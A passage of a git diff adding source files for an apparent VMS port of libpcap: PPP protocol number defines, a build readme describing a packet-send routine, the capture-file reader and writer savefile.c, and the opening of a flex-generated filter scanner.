Protocol (PPP) RFC1331 + * + * Copyright 1989 by Carnegie Mellon. + * + * Permission to use, copy, modify, and distribute this program for any + * purpose and without fee is hereby granted, provided that this copyright + * and permission notice appear on all copies and supporting documentation, + * the name of Carnegie Mellon not be used in advertising or publicity + * pertaining to distribution of the program without specific prior + * permission, and notice be given in supporting documentation that copying + * and distribution is by permission of Carnegie Mellon and Stanford + * University. Carnegie Mellon makes no representations about the + * suitability of this software for any purpose. It is provided "as is" + * without express or implied warranty. + */ +#define PPP_ADDRESS 0xff /* The address byte value */ +#define PPP_CONTROL 0x03 /* The control byte value */ + +/* Protocol numbers */ +#define PPP_IP 0x0021 /* Raw IP */ +#define PPP_OSI 0x0023 /* OSI Network Layer */ +#define PPP_NS 0x0025 /* Xerox NS IDP */ +#define PPP_DECNET 0x0027 /* DECnet Phase IV */ +#define PPP_APPLE 0x0029 /* Appletalk */ +#define PPP_IPX 0x002b /* Novell IPX */ +#define PPP_VJC 0x002d /* Van Jacobson Compressed TCP/IP */ +#define PPP_VJNC 0x002f /* Van Jacobson Uncompressed TCP/IP */ +#define PPP_BRPDU 0x0031 /* Bridging PDU */ +#define PPP_STII 0x0033 /* Stream Protocol (ST-II) */ +#define PPP_VINES 0x0035 /* Banyan Vines */ +#define PPP_IPV6 0x0057 /* Internet Protocol version 6 */ + +#define PPP_HELLO 0x0201 /* 802.1d Hello Packets */ +#define PPP_LUXCOM 0x0231 /* Luxcom */ +#define PPP_SNS 0x0233 /* Sigma Network Systems */ + +#define PPP_IPCP 0x8021 /* IP Control Protocol */ +#define PPP_OSICP 0x8023 /* OSI Network Layer Control Protocol */ +#define PPP_NSCP 0x8025 /* Xerox NS IDP Control Protocol */ +#define PPP_DECNETCP 0x8027 /* DECnet Control Protocol */ +#define PPP_APPLECP 0x8029 /* Appletalk Control Protocol */ +#define PPP_IPXCP 0x802b /* Novell IPX Control Protocol */ +#define PPP_STIICP 0x8033 /* Strean Protocol Control Protocol */ +#define PPP_VINESCP 0x8035 /* Banyan Vines Control Protocol */ +#define PPP_IPV6CP 0x8057 /* IPv6 Control Protocol */ + +#define PPP_LCP 0xc021 /* Link Control Protocol */ +#define PPP_PAP 0xc023 /* Password Authentication Protocol */ +#define PPP_LQM 0xc025 /* Link Quality Monitoring */ +#define PPP_CHAP 0xc223 /* Challenge Handshake Authentication Protocol */ diff --git a/Pcap-VMS/pcap-vci/readme.txt b/Pcap-VMS/pcap-vci/readme.txt new file mode 100644 index 00000000..ffadedcb --- /dev/null +++ b/Pcap-VMS/pcap-vci/readme.txt @@ -0,0 +1,37 @@ +This is a second port of the pcap library for VMS. It interfaces with +a VMS execlet to capture the packets. This results in better performance +than the $QIO version of the pcap library. This version also includes +a routine to send packets. Many pcap implementations include such a +routine, however it is not part of the pcap standard and as such has no +specified name or calling signature. In this implementation it is +defined as: + +int pcap_sendpacket(pcap_t *p, u_char *buf, int size); + + +where: + p - pcap handle, as returned by pcap_open_live + buf - pointer to the packet to send, including header + size - size of the packet, including header + + +To build the pcap library, just do a: + +$ @VMS_PCAP + +This will build PCAP.OLB, to use it do something like: + +$ cc/debug/noopt pcaptest/incl=sys$disk:[]/name=(as_is,short) +$ link/debug pcaptest + +For information regarding PCAP just check the WWW. + +You will notice that there are still some compilation warnings. + +For filtering syntax have a look at grammar.y, provided you know yacc +that is. + +Let me know if you enhance this package by sending mail to ankan@hp.com + + + diff --git a/Pcap-VMS/pcap-vci/savefile.c b/Pcap-VMS/pcap-vci/savefile.c new file mode 100644 index 00000000..354a62c9 --- /dev/null +++ b/Pcap-VMS/pcap-vci/savefile.c @@ -0,0 +1,701 @@ +/* + * Copyright (c) 1993, 1994, 1995, 1996, 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * savefile.c - supports offline use of tcpdump + * Extraction/creation by Jeffrey Mogul, DECWRL + * Modified by Steve McCanne, LBL. + * + * Used to save the received packet headers, after filtering, to + * a file, and then read them later. + * The first record in the file contains saved values for the machine + * dependent values so we can print the dump file on any architecture. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/savefile.c,v 1.68 2002/10/18 08:46:15 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#ifdef VMS +#include "pcap-vms.h" +#endif + +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#define TCPDUMP_MAGIC 0xa1b2c3d4 +#define PATCHED_TCPDUMP_MAGIC 0xa1b2cd34 + +/* + * We use the "receiver-makes-right" approach to byte order, + * because time is at a premium when we are writing the file. + * In other words, the pcap_file_header and pcap_pkthdr, + * records are written in host byte order. + * Note that the packets are always written in network byte order. + * + * ntoh[ls] aren't sufficient because we might need to swap on a big-endian + * machine (if the file was written in little-end order). + */ +#define SWAPLONG(y) \ +((((y)&0xff)<<24) | (((y)&0xff00)<<8) | (((y)&0xff0000)>>8) | (((y)>>24)&0xff)) +#define SWAPSHORT(y) \ + ( (((y)&0xff)<<8) | ((u_short)((y)&0xff00)>>8) ) + +#define SFERR_TRUNC 1 +#define SFERR_BADVERSION 2 +#define SFERR_BADF 3 +#define SFERR_EOF 4 /* not really an error, just a status */ + +/* + * We don't write DLT_* values to the capture file header, because + * they're not the same on all platforms. + * + * Unfortunately, the various flavors of BSD have not always used the same + * numerical values for the same data types, and various patches to + * libpcap for non-BSD OSes have added their own DLT_* codes for link + * layer encapsulation types seen on those OSes, and those codes have had, + * in some cases, values that were also used, on other platforms, for other + * link layer encapsulation types. + * + * This means that capture files of a type whose numerical DLT_* code + * means different things on different BSDs, or with different versions + * of libpcap, can't always be read on systems other than those like + * the one running on the machine on which the capture was made. + * + * Instead, we define here a set of LINKTYPE_* codes, and map DLT_* codes + * to LINKTYPE_* codes when writing a savefile header, and map LINKTYPE_* + * codes to DLT_* codes when reading a savefile header. + * + * For those DLT_* codes that have, as far as we know, the same values on + * all platforms (DLT_NULL through DLT_FDDI), we define LINKTYPE_xxx as + * DLT_xxx; that way, captures of those types can still be read by + * versions of libpcap that map LINKTYPE_* values to DLT_* values, and + * captures of those types written by versions of libpcap that map DLT_ + * values to LINKTYPE_ values can still be read by older versions + * of libpcap. + * + * The other LINKTYPE_* codes are given values starting at 100, in the + * hopes that no DLT_* code will be given one of those values. + * + * In order to ensure that a given LINKTYPE_* code's value will refer to + * the same encapsulation type on all platforms, you should not allocate + * a new LINKTYPE_* value without consulting "tcpdump-workers@tcpdump.org". + * The tcpdump developers will allocate a value for you, and will not + * subsequently allocate it to anybody else; that value will be added to + * the "pcap.h" in the tcpdump.org CVS repository, so that a future + * libpcap release will include it. + * + * You should, if possible, also contribute patches to libpcap and tcpdump + * to handle the new encapsulation type, so that they can also be checked + * into the tcpdump.org CVS repository and so that they will appear in + * future libpcap and tcpdump releases. + */ +#define LINKTYPE_NULL DLT_NULL +#define LINKTYPE_ETHERNET DLT_EN10MB /* also for 100Mb and up */ +#define LINKTYPE_EXP_ETHERNET DLT_EN3MB /* 3Mb experimental Ethernet */ +#define LINKTYPE_AX25 DLT_AX25 +#define LINKTYPE_PRONET DLT_PRONET +#define LINKTYPE_CHAOS DLT_CHAOS +#define LINKTYPE_TOKEN_RING DLT_IEEE802 /* DLT_IEEE802 is used for Token Ring */ +#define LINKTYPE_ARCNET DLT_ARCNET +#define LINKTYPE_SLIP DLT_SLIP +#define LINKTYPE_PPP DLT_PPP +#define LINKTYPE_FDDI DLT_FDDI + +/* + * LINKTYPE_PPP is for use when there might, or might not, be an RFC 1662 + * PPP in HDLC-like framing header (with 0xff 0x03 before the PPP protocol + * field) at the beginning of the packet. + * + * This is for use when there is always such a header; the address field + * might be 0xff, for regular PPP, or it might be an address field for Cisco + * point-to-point with HDLC framing as per section 4.3.1 of RFC 1547 ("Cisco + * HDLC"). This is, for example, what you get with NetBSD's DLT_PPP_SERIAL. + * + * We give it the same value as NetBSD's DLT_PPP_SERIAL, in the hopes that + * nobody else will choose a DLT_ value of 50, and so that DLT_PPP_SERIAL + * captures will be written out with a link type that NetBSD's tcpdump + * can read. + */ +#define LINKTYPE_PPP_HDLC 50 /* PPP in HDLC-like framing */ + +#define LINKTYPE_PPP_ETHER 51 /* NetBSD PPP-over-Ethernet */ + +#define LINKTYPE_ATM_RFC1483 100 /* LLC/SNAP-encapsulated ATM */ +#define LINKTYPE_RAW 101 /* raw IP */ +#define LINKTYPE_SLIP_BSDOS 102 /* BSD/OS SLIP BPF header */ +#define LINKTYPE_PPP_BSDOS 103 /* BSD/OS PPP BPF header */ +#define LINKTYPE_C_HDLC 104 /* Cisco HDLC */ +#define LINKTYPE_IEEE802_11 105 /* IEEE 802.11 (wireless) */ +#define LINKTYPE_ATM_CLIP 106 /* Linux Classical IP over ATM */ +#define LINKTYPE_FRELAY 107 /* Frame Relay */ +#define LINKTYPE_LOOP 108 /* OpenBSD loopback */ + +#define LINKTYPE_LINUX_SLL 113 /* Linux cooked socket capture */ +#define LINKTYPE_LTALK 114 /* Apple LocalTalk hardware */ +#define LINKTYPE_ECONET 115 /* Acorn Econet */ + +#define LINKTYPE_CISCO_IOS 118 /* For Cisco-internal use */ +#define LINKTYPE_PRISM_HEADER 119 /* 802.11+Prism II monitor mode */ +#define LINKTYPE_AIRONET_HEADER 120 /* FreeBSD Aironet driver stuff */ +#define LINKTYPE_IP_OVER_FC 122 /* RFC 2625 IP-over-Fibre Channel */ +#define LINKTYPE_SUNATM 123 /* Solaris+SunATM */ + +/* + * These types are reserved for future use. + */ +#define LINKTYPE_ENC 109 /* OpenBSD IPSEC enc */ +#define LINKTYPE_LANE8023 110 /* ATM LANE + 802.3 */ +#define LINKTYPE_HIPPI 111 /* NetBSD HIPPI */ +#define LINKTYPE_HDLC 112 /* NetBSD HDLC framing */ +#define LINKTYPE_IPFILTER 116 /* IP Filter capture files */ +#define LINKTYPE_PFLOG 117 /* OpenBSD DLT_PFLOG */ +#define LINKTYPE_HHDLC 121 /* Siemens HiPath HDLC */ +#define LINKTYPE_RIO 123 /* RapidIO */ +#define LINKTYPE_PCI_EXP 124 /* PCI Express */ +#define LINKTYPE_AURORA 125 /* Xilinx Aurora link layer */ + +static struct linktype_map { + int dlt; + int linktype; +} map[] = { + /* + * These DLT_* codes have LINKTYPE_* codes with values identical + * to the values of the corresponding DLT_* code. + */ + { DLT_NULL, LINKTYPE_NULL }, + { DLT_EN10MB, LINKTYPE_ETHERNET }, + { DLT_EN3MB, LINKTYPE_EXP_ETHERNET }, + { DLT_AX25, LINKTYPE_AX25 }, + { DLT_PRONET, LINKTYPE_PRONET }, + { DLT_CHAOS, LINKTYPE_CHAOS }, + { DLT_IEEE802, LINKTYPE_TOKEN_RING }, + { DLT_ARCNET, LINKTYPE_ARCNET }, + { DLT_SLIP, LINKTYPE_SLIP }, + { DLT_PPP, LINKTYPE_PPP }, + { DLT_FDDI, LINKTYPE_FDDI }, + + /* + * These DLT_* codes have different values on different + * platforms; we map them to LINKTYPE_* codes that + * have values that should never be equal to any DLT_* + * code. + */ +#ifdef DLT_FR + /* BSD/OS Frame Relay */ + { DLT_FR, LINKTYPE_FRELAY }, +#endif + { DLT_ATM_RFC1483, LINKTYPE_ATM_RFC1483 }, + { DLT_RAW, LINKTYPE_RAW }, + { DLT_SLIP_BSDOS, LINKTYPE_SLIP_BSDOS }, + { DLT_PPP_BSDOS, LINKTYPE_PPP_BSDOS }, + + /* BSD/OS Cisco HDLC */ + { DLT_C_HDLC, LINKTYPE_C_HDLC }, + + /* + * These DLT_* codes are not on all platforms, but, so far, + * there don't appear to be any platforms that define + * other codes with those values; we map them to + * different LINKTYPE_* values anyway, just in case. + */ + + /* Linux ATM Classical IP */ + { DLT_ATM_CLIP, LINKTYPE_ATM_CLIP }, + + /* NetBSD sync/async serial PPP (or Cisco HDLC) */ + { DLT_PPP_SERIAL, LINKTYPE_PPP_HDLC }, + + /* NetBSD PPP over Ethernet */ + { DLT_PPP_ETHER, LINKTYPE_PPP_ETHER }, + + /* IEEE 802.11 wireless */ + { DLT_IEEE802_11, LINKTYPE_IEEE802_11 }, + + /* Frame Relay */ + { DLT_FRELAY, LINKTYPE_FRELAY }, + + /* OpenBSD loopback */ + { DLT_LOOP, LINKTYPE_LOOP }, + + /* Linux cooked socket capture */ + { DLT_LINUX_SLL, LINKTYPE_LINUX_SLL }, + + /* Apple LocalTalk hardware */ + { DLT_LTALK, LINKTYPE_LTALK }, + + /* Acorn Econet */ + { DLT_ECONET, LINKTYPE_ECONET }, + + /* For Cisco-internal use */ + { DLT_CISCO_IOS, LINKTYPE_CISCO_IOS }, + + /* Prism II monitor-mode header plus 802.11 header */ + { DLT_PRISM_HEADER, LINKTYPE_PRISM_HEADER }, + + /* FreeBSD Aironet driver stuff */ + { DLT_AIRONET_HEADER, LINKTYPE_AIRONET_HEADER }, + + /* Siemens HiPath HDLC */ + { DLT_HHDLC, LINKTYPE_HHDLC }, + + /* RFC 2625 IP-over-Fibre Channel */ + { DLT_IP_OVER_FC, LINKTYPE_IP_OVER_FC }, + + /* Solaris+SunATM */ + { DLT_SUNATM, LINKTYPE_SUNATM }, + + /* RapidIO */ + { DLT_RIO, LINKTYPE_RIO }, + + /* PCI Express */ + { DLT_PCI_EXP, LINKTYPE_PCI_EXP }, + + /* Xilinx Aurora link layer */ + { DLT_AURORA, LINKTYPE_AURORA }, + + /* + * Any platform that defines additional DLT_* codes should: + * + * request a LINKTYPE_* code and value from tcpdump.org, + * as per the above; + * + * add, in their version of libpcap, an entry to map + * those DLT_* codes to the corresponding LINKTYPE_* + * code; + * + * redefine, in their "net/bpf.h", any DLT_* values + * that collide with the values used by their additional + * DLT_* codes, to remove those collisions (but without + * making them collide with any of the LINKTYPE_* + * values equal to 50 or above; they should also avoid + * defining DLT_* values that collide with those + * LINKTYPE_* values, either). + */ + { -1, -1 } +}; + +static int +dlt_to_linktype(int dlt) +{ + int i; + + for (i = 0; map[i].dlt != -1; i++) { + if (map[i].dlt == dlt) + return (map[i].linktype); + } + + /* + * If we don't have a mapping for this DLT_ code, return an + * error; that means that the table above needs to have an + * entry added. + */ + return (-1); +} + +static int +linktype_to_dlt(int linktype) +{ + int i; + + for (i = 0; map[i].linktype != -1; i++) { + if (map[i].linktype == linktype) + return (map[i].dlt); + } + + /* + * If we don't have an entry for this link type, return + * the link type value; it may be a DLT_ value from an + * older version of libpcap. + */ + return linktype; +} + +static int +sf_write_header(FILE *fp, int linktype, int thiszone, int snaplen) +{ + struct pcap_file_header hdr; + + hdr.magic = TCPDUMP_MAGIC; + hdr.version_major = PCAP_VERSION_MAJOR; + hdr.version_minor = PCAP_VERSION_MINOR; + + hdr.thiszone = thiszone; + hdr.snaplen = snaplen; + hdr.sigfigs = 0; + hdr.linktype = linktype; + + if (fwrite((char *)&hdr, sizeof(hdr), 1, fp) != 1) + return (-1); + + return (0); +} + +static void +swap_hdr(struct pcap_file_header *hp) +{ + hp->version_major = SWAPSHORT(hp->version_major); + hp->version_minor = SWAPSHORT(hp->version_minor); + hp->thiszone = SWAPLONG(hp->thiszone); + hp->sigfigs = SWAPLONG(hp->sigfigs); + hp->snaplen = SWAPLONG(hp->snaplen); + hp->linktype = SWAPLONG(hp->linktype); +} + +pcap_t * +pcap_open_offline(const char *fname, char *errbuf) +{ + register pcap_t *p; + register FILE *fp; + struct pcap_file_header hdr; + bpf_u_int32 magic; + int linklen; + + p = (pcap_t *)malloc(sizeof(*p)); + if (p == NULL) { + strlcpy(errbuf, "out of swap", PCAP_ERRBUF_SIZE); + return (NULL); + } + + memset((char *)p, 0, sizeof(*p)); + /* + * Set this field so we don't close stdin in pcap_close! + */ +#ifndef WIN32 + p->fd = -1; +#else + p->adapter = NULL; +#endif + + if (fname[0] == '-' && fname[1] == '\0') + fp = stdin; + else { +#ifndef WIN32 + fp = fopen(fname, "r"); +#else + fp = fopen(fname, "rb"); +#endif + if (fp == NULL) { + snprintf(errbuf, PCAP_ERRBUF_SIZE, "%s: %s", fname, + pcap_strerror(errno)); + goto bad; + } + } + if (fread((char *)&hdr, sizeof(hdr), 1, fp) != 1) { + snprintf(errbuf, PCAP_ERRBUF_SIZE, "fread: %s", + pcap_strerror(errno)); + goto bad; + } + magic = hdr.magic; + if (magic != TCPDUMP_MAGIC && magic != PATCHED_TCPDUMP_MAGIC) { + magic = SWAPLONG(magic); + if (magic != TCPDUMP_MAGIC && magic != PATCHED_TCPDUMP_MAGIC) { + snprintf(errbuf, PCAP_ERRBUF_SIZE, + "bad dump file format"); + goto bad; + } + p->sf.swapped = 1; + swap_hdr(&hdr); + } + if (magic == PATCHED_TCPDUMP_MAGIC) { + /* + * XXX - the patch that's in some versions of libpcap + * changes the packet header but not the magic number; + * we'd have to use some hacks^H^H^H^H^Hheuristics to + * detect that. + */ + p->sf.hdrsize = sizeof(struct pcap_sf_patched_pkthdr); + } else + p->sf.hdrsize = sizeof(struct pcap_sf_pkthdr); + if (hdr.version_major < PCAP_VERSION_MAJOR) { + snprintf(errbuf, PCAP_ERRBUF_SIZE, "archaic file format"); + goto bad; + } + p->tzoff = hdr.thiszone; + p->snapshot = hdr.snaplen; + p->linktype = linktype_to_dlt(hdr.linktype); + p->sf.rfile = fp; +#ifndef WIN32 + p->bufsize = hdr.snaplen; +#else + /* Allocate the space for pcap_pkthdr as well. It will be used by pcap_read_ex */ + p->bufsize = hdr.snaplen+sizeof(struct pcap_pkthdr); +#endif + + /* Align link header as required for proper data alignment */ + /* XXX should handle all types */ + switch (p->linktype) { + + case DLT_EN10MB: + linklen = 14; + break; + + case DLT_FDDI: + linklen = 13 + 8; /* fddi_header + llc */ + break; + + case DLT_NULL: + default: + linklen = 0; + break; + } + + if (p->bufsize < 0) + p->bufsize = BPF_MAXBUFSIZE; + p->sf.base = (u_char *)malloc(p->bufsize + BPF_ALIGNMENT); + if (p->sf.base == NULL) { + strlcpy(errbuf, "out of swap", PCAP_ERRBUF_SIZE); + goto bad; + } + p->buffer = p->sf.base + BPF_ALIGNMENT - (linklen % BPF_ALIGNMENT); + p->sf.version_major = hdr.version_major; + p->sf.version_minor = hdr.version_minor; +#ifdef PCAP_FDDIPAD + /* XXX padding only needed for kernel fcode */ + pcap_fddipad = 0; +#endif + + return (p); + bad: + free(p); + return (NULL); +} + +/* + * Read sf_readfile and return the next packet. Return the header in hdr + * and the contents in buf. Return 0 on success, SFERR_EOF if there were + * no more packets, and SFERR_TRUNC if a partial packet was encountered. + */ +#ifdef WIN32 +int +#else +static int +#endif +sf_next_packet(pcap_t *p, struct pcap_pkthdr *hdr, u_char *buf, int buflen) +{ + struct pcap_sf_patched_pkthdr sf_hdr; + FILE *fp = p->sf.rfile; + + /* + * Read the packet header; the structure we use as a buffer + * is the longer structure for files generated by the patched + * libpcap, but if the file has the magic number for an + * unpatched libpcap we only read as many bytes as the regular + * header has. + */ + if (fread(&sf_hdr, p->sf.hdrsize, 1, fp) != 1) { + /* probably an EOF, though could be a truncated packet */ + return (1); + } + + if (p->sf.swapped) { + /* these were written in opposite byte order */ + hdr->caplen = SWAPLONG(sf_hdr.caplen); + hdr->len = SWAPLONG(sf_hdr.len); + hdr->ts.tv_sec = SWAPLONG(sf_hdr.ts.tv_sec); + hdr->ts.tv_usec = SWAPLONG(sf_hdr.ts.tv_usec); + } else { + hdr->caplen = sf_hdr.caplen; + hdr->len = sf_hdr.len; + hdr->ts.tv_sec = sf_hdr.ts.tv_sec; + hdr->ts.tv_usec = sf_hdr.ts.tv_usec; + } + /* + * We interchanged the caplen and len fields at version 2.3, + * in order to match the bpf header layout. But unfortunately + * some files were written with version 2.3 in their headers + * but without the interchanged fields. + */ + if (p->sf.version_minor < 3 || + (p->sf.version_minor == 3 && hdr->caplen > hdr->len)) { + int t = hdr->caplen; + hdr->caplen = hdr->len; + hdr->len = t; + } + + if (hdr->caplen > buflen) { + /* + * This can happen due to Solaris 2.3 systems tripping + * over the BUFMOD problem and not setting the snapshot + * correctly in the savefile header. If the caplen isn't + * grossly wrong, try to salvage. + */ + static u_char *tp = NULL; + static int tsize = 0; + + if (hdr->caplen > 65535) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, + "bogus savefile header"); + return (-1); + } + + if (tsize < hdr->caplen) { + tsize = ((hdr->caplen + 1023) / 1024) * 1024; + if (tp != NULL) + free((u_char *)tp); + tp = (u_char *)malloc(tsize); + if (tp == NULL) { + tsize = 0; + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, + "BUFMOD hack malloc"); + return (-1); + } + } + if (fread((char *)tp, hdr->caplen, 1, fp) != 1) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, + "truncated dump file"); + return (-1); + } + /* + * We can only keep up to buflen bytes. Since caplen > buflen + * is exactly how we got here, we know we can only keep the + * first buflen bytes and must drop the remainder. Adjust + * caplen accordingly, so we don't get confused later as + * to how many bytes we have to play with. + */ + hdr->caplen = buflen; + memcpy((char *)buf, (char *)tp, buflen); + + } else { + /* read the packet itself */ + + if (fread((char *)buf, hdr->caplen, 1, fp) != 1) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, + "truncated dump file"); + return (-1); + } + } + return (0); +} + +/* + * Print out packets stored in the file initialized by sf_read_init(). + * If cnt > 0, return after 'cnt' packets, otherwise continue until eof. + */ +int +pcap_offline_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + struct bpf_insn *fcode = p->fcode.bf_insns; + int status = 0; + int n = 0; + + while (status == 0) { + struct pcap_pkthdr h; + + status = sf_next_packet(p, &h, p->buffer, p->bufsize); + if (status) { + if (status == 1) + return (0); + return (status); + } + + if (fcode == NULL || + bpf_filter(fcode, p->buffer, h.len, h.caplen)) { + (*callback)(user, &h, p->buffer); + if (++n >= cnt && cnt > 0) + break; + } + } + /*XXX this breaks semantics tcpslice expects */ + return (n); +} + +/* + * Output a packet to the initialized dump file. + */ +void +pcap_dump(u_char *user, const struct pcap_pkthdr *h, const u_char *sp) +{ + register FILE *f; + struct pcap_sf_pkthdr sf_hdr; + + f = (FILE *)user; + sf_hdr.ts.tv_sec = h->ts.tv_sec; + sf_hdr.ts.tv_usec = h->ts.tv_usec; + sf_hdr.caplen = h->caplen; + sf_hdr.len = h->len; + /* XXX we should check the return status */ + (void)fwrite(&sf_hdr, sizeof(sf_hdr), 1, f); + (void)fwrite((char *)sp, h->caplen, 1, f); +} + +/* + * Initialize so that sf_write() will output to the file named 'fname'. + */ +pcap_dumper_t * +pcap_dump_open(pcap_t *p, const char *fname) +{ + FILE *f; + int linktype; + + linktype = dlt_to_linktype(p->linktype); + if (linktype == -1) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, + "%s: link-layer type %d isn't supported in savefiles", + fname, linktype); + return (NULL); + } + + if (fname[0] == '-' && fname[1] == '\0') { + f = stdout; +#ifdef WIN32 + _setmode(_fileno(f), _O_BINARY); +#endif + } else { +#ifndef WIN32 + f = fopen(fname, "w"); +#else + f = fopen(fname, "wb"); + setbuf(f, NULL); /* XXX - why? */ +#endif + if (f == NULL) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "%s: %s", + fname, pcap_strerror(errno)); + return (NULL); + } + } + (void)sf_write_header(f, linktype, p->tzoff, p->snapshot); + return ((pcap_dumper_t *)f); +} + +void +pcap_dump_close(pcap_dumper_t *p) +{ + +#ifdef notyet + if (ferror((FILE *)p)) + return-an-error; + /* XXX should check return from fclose() too */ +#endif + (void)fclose((FILE *)p); +} diff --git a/Pcap-VMS/pcap-vci/scanner.c b/Pcap-VMS/pcap-vci/scanner.c new file mode 100644 index 00000000..9370d48f --- /dev/null +++ b/Pcap-VMS/pcap-vci/scanner.c @@ -0,0 +1,3762 @@ +#define yy_create_buffer pcap__create_buffer +#define yy_delete_buffer pcap__delete_buffer +#define yy_scan_buffer pcap__scan_buffer +#define yy_scan_string pcap__scan_string +#define yy_scan_bytes pcap__scan_bytes +#define yy_flex_debug pcap__flex_debug +#define yy_init_buffer pcap__init_buffer +#define yy_flush_buffer pcap__flush_buffer +#define yy_load_buffer_state pcap__load_buffer_state +#define yy_switch_to_buffer pcap__switch_to_buffer +#define yyin pcap_in +#define yyleng pcap_leng +#define yylex pcap_lex +#define yyout pcap_out +#define yyrestart pcap_restart +#define yytext pcap_text +#define yywrap pcap_wrap + +/* A lexical scanner generated by flex */ + +/* Scanner skeleton version: + * $Header: /home/daffy/u0/vern/flex/RCS/flex.skl,v 2.91 96/09/10 16:58:48 vern Exp $ + */ + +#define FLEX_SCANNER +#define YY_FLEX_MAJOR_VERSION 2 +#define YY_FLEX_MINOR_VERSION 5 + +#include + + +/* cfront 1.2 defines "c_plusplus" instead of "__cplusplus" */ +#ifdef c_plusplus +#ifndef __cplusplus +#define __cplusplus +#endif +#endif + + +#ifdef __cplusplus + +#include +#include + +/* Use prototypes in function declarations. */ +#define YY_USE_PROTOS + +/* The "const" storage-class-modifier is valid. */ +#define YY_USE_CONST + +#else /* ! __cplusplus */ + +#if __STDC__ + +#define YY_USE_PROTOS +#define YY_USE_CONST + +#endif /* __STDC__ */ +#endif /* ! __cplusplus */ + +#ifdef __TURBOC__ + #pragma warn -rch + #pragma warn -use +#include +#include +#define YY_USE_CONST +#define YY_USE_PROTOS +#endif + +#ifdef YY_USE_CONST +#define yyconst const +#else +#define yyconst +#endif + + +#ifdef YY_USE_PROTOS +#define YY_PROTO(proto) proto +#else +#define YY_PROTO(proto) () +#endif + +/* Returned upon end-of-file. */ +#define YY_NULL 0 + +/* Promotes a possibly negative, possibly signed char to an unsigned + * integer for use as an array index. If the signed char is negative, + * we want to instead treat it as an 8-bit unsigned char, hence the + * double cast. + */ +#define YY_SC_TO_UI(c) ((unsigned int) (unsigned char) c) + +/* Enter a start condition. This macro really ought to take a parameter, + * but we do it the disgusting crufty way forced on us by the ()-less + * definition of BEGIN. + */ +#define BEGIN yy_start = 1 + 2 * + +/* Translate the current start state into a value that can be later handed + * to BEGIN to return to the state. The YYSTATE alias is for lex + * compatibility. + */ +#define YY_START ((yy_start - 1) / 2) +#define YYSTATE YY_START + +/* Action number for EOF rule of a given start state. */ +#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1) + +/* Special action meaning "start processing a new file". */ +#define YY_NEW_FILE yyrestart( yyin ) + +#define YY_END_OF_BUFFER_CHAR 0 + +/* Size of default input buffer. */ +#define YY_BUF_SIZE 16384 + +typedef struct yy_buffer_state *YY_BUFFER_STATE; + +extern int yyleng; +extern FILE *yyin, *yyout; + +#define EOB_ACT_CONTINUE_SCAN 0 +#define EOB_ACT_END_OF_FILE 1 +#define EOB_ACT_LAST_MATCH 2 + +/* The funky do-while in the following #define is used to turn the definition + * int a single C statement (which needs a semi-colon terminator). This + * avoids problems with code like: + * + * if ( condition_holds ) + * yyless( 5 ); + * else + * do_something_else(); + * + * Prior to using the do-while the compiler would get upset at the + * "else" because it interpreted the "if" statement as being all + * done when it reached the ';' after the yyless() call. + */ + +/* Return all but the first 'n' matched characters back to the input stream. */ + +#define yyless(n) \ + do \ + { \ + /* Undo effects of setting up yytext. */ \ + *yy_cp = yy_hold_char; \ + YY_RESTORE_YY_MORE_OFFSET \ + yy_c_buf_p = yy_cp = yy_bp + n - YY_MORE_ADJ; \ + YY_DO_BEFORE_ACTION; /* set up yytext again */ \ + } \ + while ( 0 ) + +#define unput(c) yyunput( c, yytext_ptr ) + +/* The following is because we cannot portably get our hands on size_t + * (without autoconf's help, which isn't available because we want + * flex-generated scanners to compile on their own). + */ +typedef unsigned int yy_size_t; + + +struct yy_buffer_state + { + FILE *yy_input_file; + + char *yy_ch_buf; /* input buffer */ + char *yy_buf_pos; /* current position in input buffer */ + + /* Size of input buffer in bytes, not including room for EOB + * characters. + */ + yy_size_t yy_buf_size; + + /* Number of characters read into yy_ch_buf, not including EOB + * characters. + */ + int yy_n_chars; + + /* Whether we "own" the buffer - i.e., we know we created it, + * and can realloc() it to grow it, and should free() it to + * delete it. + */ + int yy_is_our_buffer; + + /* Whether this is an "interactive" input source; if so, and + * if we're using stdio for input, then we want to use getc() + * instead of fread(), to make sure we stop fetching input after + * each newline. + */ + int yy_is_interactive; + + /* Whether we're considered to be at the beginning of a line. + * If so, '^' rules will be active on the next match, otherwise + * not. + */ + int yy_at_bol; + + /* Whether to try to fill the input buffer when we reach the + * end of it. + */ + int yy_fill_buffer; + + int yy_buffer_status; +#define YY_BUFFER_NEW 0 +#define YY_BUFFER_NORMAL 1 + /* When an EOF's been seen but there's still some text to process + * then we mark the buffer as YY_EOF_PENDING, to indicate that we + * shouldn't try reading from the input source any more. We might + * still have a bunch of tokens to match, though, because of + * possible backing-up. + * + * When we actually see the EOF, we change the status to "new" + * (via yyrestart()), so that the user can continue scanning by + * just pointing yyin at a new input file. + */ +#define YY_BUFFER_EOF_PENDING 2 + }; + +static YY_BUFFER_STATE yy_current_buffer = 0; + +/* We provide macros for accessing buffer states in case in the + * future we want to put the buffer states in a more general + * "scanner state". + */ +#define 